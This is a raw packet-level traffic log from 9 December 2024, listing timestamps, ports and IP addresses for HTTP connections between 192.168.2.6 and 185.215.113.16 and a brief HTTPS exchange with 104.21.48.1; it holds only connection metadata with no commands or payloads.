Dec 9, 2024 21:09:43.821404934 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.821453094 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.821918011 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.821965933 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.822417974 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.822745085 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.822777033 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.822794914 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.823560953 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.823615074 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.823740959 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.824460030 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.824522018 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.824567080 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.824711084 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.824745893 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.825545073 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.825594902 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.825722933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.825757027 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.826522112 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.826695919 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.826749086 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.827646017 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.827820063 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.827884912 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.828613043 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.828772068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.828814983 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.829705954 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.829749107 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.829914093 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.830564022 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.830610037 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.830748081 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.830789089 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.831707001 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.832015991 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.832056999 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.832886934 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.832905054 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.832926035 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.832943916 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.977354050 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.977442980 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.977495909 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.977543116 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.977838993 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.977876902 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.978029013 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.978061914 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.979017019 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.979034901 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.979068041 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.979099035 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.979986906 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.981031895 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.997853994 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.997868061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.997915030 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.998336077 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.998347998 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.998375893 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.998404026 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:43.999453068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.999602079 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:43.999641895 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.000406027 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.000446081 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.000586987 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.000626087 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.001580000 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.001735926 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.001796961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.002675056 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.002751112 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.002988100 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.003025055 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.003648996 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.003973961 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.004014015 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.004621983 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.004689932 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.004934072 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.004977942 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.005630016 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.005641937 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.005681038 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.006469011 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.006510973 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.006820917 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.006859064 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.007698059 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.007838964 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.007853031 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.007898092 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.008663893 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.008986950 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.009037971 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.009671926 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.009712934 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.009851933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.009888887 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.010684967 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.010725975 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.011043072 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.011085033 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.011717081 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.012082100 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.012132883 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.012731075 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.012782097 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.013235092 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.013278961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.013731003 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.014050007 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.014098883 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.014833927 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.014880896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.015013933 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.015054941 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.015851974 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.015904903 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.016005039 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.016407967 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.016825914 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.016880989 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.017285109 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.018091917 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.018105030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.018151045 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.018901110 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.018949986 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.019048929 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.019090891 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.019902945 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.020267010 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.020436049 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.020529032 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.021087885 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.021277905 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.021334887 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.021990061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.022046089 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.022217989 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.022839069 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.023139954 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.023194075 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.023369074 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.023411036 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.023423910 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.023436069 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.023466110 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.025675058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.025850058 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.026189089 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.026242018 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.026562929 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.026891947 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.026946068 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.027529001 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.027543068 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.027607918 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.028158903 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.028224945 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.028340101 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.028376102 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.029205084 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.029217005 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.029254913 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.030347109 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.030385017 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.030533075 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.030570984 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.031199932 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.031307936 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.031374931 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.031480074 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.032397985 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.032448053 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.032574892 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.032618046 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.033437014 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.033452034 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.033503056 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.034255981 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.034308910 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.034603119 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.034650087 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.035289049 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.035331011 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.035633087 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.035681009 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.036477089 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.036523104 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.036811113 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.036854982 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.037481070 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.037530899 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.037789106 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.037971020 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.038435936 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.038752079 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.038794041 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.039484978 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.039527893 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.040095091 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.040421963 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.040465117 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.040590048 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.040627003 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.041449070 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.041496992 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.041558027 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.041686058 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.041733980 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.041815042 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.041891098 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.042845964 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.042896986 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.042968988 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.043008089 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.043895960 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.043988943 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.044024944 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.044043064 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.044778109 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.044816971 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.045005083 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.045069933 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.045902967 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.046186924 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.046236992 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.046842098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.047111034 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.047399998 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.047478914 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.101620913 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:44.101691008 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:44.103426933 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:44.103431940 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:44.103698969 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:44.106544971 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:44.106684923 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:44.106715918 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:44.106792927 CET	49951	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:44.106800079 CET	443	49951	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:44.169004917 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.169100046 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.169162989 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.169218063 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.169369936 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.169414997 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.169779062 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.169848919 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.170414925 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.170439959 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.170458078 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.170480013 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.171363115 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.171901941 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.189481974 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.189635992 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.189809084 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.189977884 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.190027952 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.190171003 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.190934896 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.191052914 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.191095114 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.191257954 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.191296101 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.192157030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.192198038 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.192328930 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.192368984 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.193084002 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.193130016 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.193267107 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.193305016 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.194020987 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.194067955 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.194585085 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.194623947 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.195106030 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.195445061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.195492029 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.196209908 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.196252108 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.196922064 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.196964025 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.197062016 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.197074890 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.197101116 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.197120905 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.198177099 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.198451042 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.198498964 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.199496031 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.199510098 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.199546099 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.200381994 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.200432062 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.200673103 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.200712919 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.201159954 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.201211929 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.201375961 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.201414108 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.202455044 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.202507019 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.202615976 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.202661991 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.203318119 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.203835011 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.203874111 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.204364061 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.204376936 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.204415083 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.205343008 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.205388069 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.205540895 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.205580950 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.206584930 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.206597090 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.206624985 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.206638098 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.207283020 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.208060980 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.208103895 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.208439112 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.208483934 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.208769083 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.208810091 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.209316969 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.209351063 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.209443092 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.209486961 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:44.210612059 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:44.210653067 CET	49945	80	192.168.2.6	185.215.113.16
